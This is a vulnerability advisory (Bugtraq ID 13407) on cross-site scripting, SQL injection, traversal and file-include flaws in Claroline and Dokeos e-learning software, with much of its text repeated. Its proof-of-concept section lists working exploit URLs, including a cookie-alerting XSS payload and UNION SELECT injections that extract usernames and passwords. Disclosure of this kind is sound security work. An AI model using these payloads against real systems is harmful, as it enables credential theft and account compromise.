Claroline E-Learning Application Multiple Remote Input Validation Vulnerabilities
BID:13407
Info
Claroline E-Learning Application Multiple Remote Input Validation Vulnerabilities
| Bugtraq ID: | 13407 |
| Class: | Input Validation Error |
| CVE: |
CVE-2005-1374 CVE-2005-1375 CVE-2005-1376 CVE-2005-1377 |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 27 2005 12:00AM |
| Updated: | Jul 12 2009 02:06PM |
| Credit: | Sieg Fried <[email protected]> is credited with the discovery of these issues. |
| Vulnerable: |
Dokeos Open Source Learning & Knowledge Management Tool 1.5.5 Claroline Claroline 1.6 rc1 Claroline Claroline 1.6 beta Claroline Claroline 1.5.3 |
| Not Vulnerable: |
Dokeos Open Source Learning & Knowledge Management Tool 1.6 RC2 Claroline Claroline 1.6 Claroline Claroline 1.5.4 |
Discussion
Claroline E-Learning Application Multiple Remote Input Validation Vulnerabilities
Multiple remote input validation vulnerabilities affect Claroline e-Learning Application. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical application functionality such as database interaction and generating dynamic Web content.
Multiple cross-site scripting, SQL injection, directory traversal, and remote file include vulnerabilities have been reported.
An attacker may exploit these issues to manipulate SQL queries to the underlying database, have arbitrary script code executed in the browser of an unsuspecting user, and execute arbitrary server-side scripts with the privileges of an affected Web server. This may facilitate the theft of sensitive information, potentially including authentication credentials, data corruption, and a compromise of the affected computer.
**Update: Dokeos, which is based on claroline source code, is also prone to come of these issues.
Multiple remote input validation vulnerabilities affect Claroline e-Learning Application. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical application functionality such as database interaction and generating dynamic Web content.
Multiple cross-site scripting, SQL injection, directory traversal, and remote file include vulnerabilities have been reported.
An attacker may exploit these issues to manipulate SQL queries to the underlying database, have arbitrary script code executed in the browser of an unsuspecting user, and execute arbitrary server-side scripts with the privileges of an affected Web server. This may facilitate the theft of sensitive information, potentially including authentication credentials, data corruption, and a compromise of the affected computer.
**Update: Dokeos, which is based on claroline source code, is also prone to come of these issues.
Exploit / POC
Claroline E-Learning Application Multiple Remote Input Validation Vulnerabilities
No exploit is required to leverage any of these issues. The following proof of concepts have been provided:
Cross-site scripting proof of concepts:
http:///www.example.com/claroline/tracking/toolaccess_details.php?tool=%3Cscript%3Ealert('xss');%3C/script%3E
http:///www.example.com/claroline/tracking/user_access_details.php?cmd=doc&data=%3Cscript%3Ealert('xss');%3C/script%3E
http:///www.example.com/claroline/calendar/myagenda.php?coursePath=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
SQL Injection proof of concepts:
http:///www.example.com/claroline/user/userInfo.php?uInfo=-1%20UNION%20SELECT%20username,password,0,0,0,0,0%20from%20user%20where%20user_id=1/*
http:///www.example.com/claroline/tracking/exercises_details.php?exo_id=-1/**/UNION/**/SELECT%200,password,username,0,0,0%20from%20user%20where%20user_id=1--
No exploit is required to leverage any of these issues. The following proof of concepts have been provided:
Cross-site scripting proof of concepts:
http:///www.example.com/claroline/tracking/toolaccess_details.php?tool=%3Cscript%3Ealert('xss');%3C/script%3E
http:///www.example.com/claroline/tracking/user_access_details.php?cmd=doc&data=%3Cscript%3Ealert('xss');%3C/script%3E
http:///www.example.com/claroline/calendar/myagenda.php?coursePath=%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
SQL Injection proof of concepts:
http:///www.example.com/claroline/user/userInfo.php?uInfo=-1%20UNION%20SELECT%20username,password,0,0,0,0,0%20from%20user%20where%20user_id=1/*
http:///www.example.com/claroline/tracking/exercises_details.php?exo_id=-1/**/UNION/**/SELECT%200,password,username,0,0,0%20from%20user%20where%20user_id=1--
Solution / Fix
Claroline E-Learning Application Multiple Remote Input Validation Vulnerabilities
Solution:
The vendor has released upgrades dealing with these issues.
Claroline Claroline 1.5.3
Dokeos Open Source Learning & Knowledge Management Tool 1.5.5
Claroline Claroline 1.6 rc1
Claroline Claroline 1.6 beta
Solution:
The vendor has released upgrades dealing with these issues.
Claroline Claroline 1.5.3
-
Claroline Claroline 1.5.4
http://www.claroline.net/dlarea/claroline154.tar.gz
Dokeos Open Source Learning & Knowledge Management Tool 1.5.5
-
Dokeos dokeos-1.6.rc2.zip
http://www.dokeos.com/download/dokeos-1.6.rc2.zip
Claroline Claroline 1.6 rc1
-
Claroline Claroline 1.6.0
http://www.claroline.net/dlarea/claroline160.tar.gz
Claroline Claroline 1.6 beta
-
Claroline Claroline 1.6.0
http://www.claroline.net/dlarea/claroline160.tar.gz
References
Claroline E-Learning Application Multiple Remote Input Validation Vulnerabilities
References:
References: